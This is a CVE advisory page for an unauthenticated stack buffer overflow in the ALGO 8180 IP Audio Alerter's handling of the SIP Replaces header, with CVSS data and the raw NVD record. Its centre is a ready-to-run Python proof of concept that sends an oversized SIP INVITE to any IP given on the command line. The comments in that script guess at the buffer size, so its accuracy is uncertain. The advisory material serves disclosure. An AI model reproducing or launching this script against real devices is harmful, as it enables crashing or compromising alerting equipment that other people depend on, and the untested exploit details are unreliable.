Security Vulnerability Report
中文
CVE-2026-0791 CVSS 9.8 CRITICAL

CVE-2026-0791

Published: 2026-01-23 04:16:07
Last Modified: 2026-02-18 18:52:54

Description

ALGO 8180 IP Audio Alerter SIP INVITE Replaces Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the Replaces header of SIP INVITE requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28300.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter 固件版本 < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0791 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Replaces Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys def send_malicious_sip_request(target_ip, target_port=5060): """ Send a crafted SIP INVITE request with an oversized Replaces header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Generate oversized Replaces header value (exceeds fixed buffer size) # Typical buffer size is around 256-512 bytes, so we use 2000+ bytes overflow_payload = "A" * 2000 # Construct malicious SIP INVITE request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch=z9hG4bK{overflow_payload}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>;tag={overflow_payload}\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload}@{(socket.gethostbyname(target_ip))}\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Replaces: {overflow_payload}\r\n" # Trigger the vulnerability sip_request += "Contact: <sip:attacker@attacker_ip>\r\n" sip_request += "Content-Type: application/sdp\r\n" sip_request += "Content-Length: 0\r\n" sip_request += "\r\n" print(f"[*] Sending malicious SIP INVITE request to {target_ip}:{target_port}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(sip_request.encode(), (target_ip, target_port)) print("[+] Malicious request sent successfully") # Wait for response try: data, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}: {data[:100]}...") except socket.timeout: print("[!] No response received (possible crash or filtering)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_malicious_sip_request(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0791", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:06.857", "lastModified": "2026-02-18T18:52:53.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter SIP INVITE Replaces Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the Replaces header of SIP INVITE requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28300."}, {"lang": "es", "value": "ALGO 8180 IP Audio Alerter SIP INVITE Replaces Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en pila. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del manejo del encabezado Replaces de las solicitudes SIP INVITE. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en pila de longitud fija. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28300."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-013/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}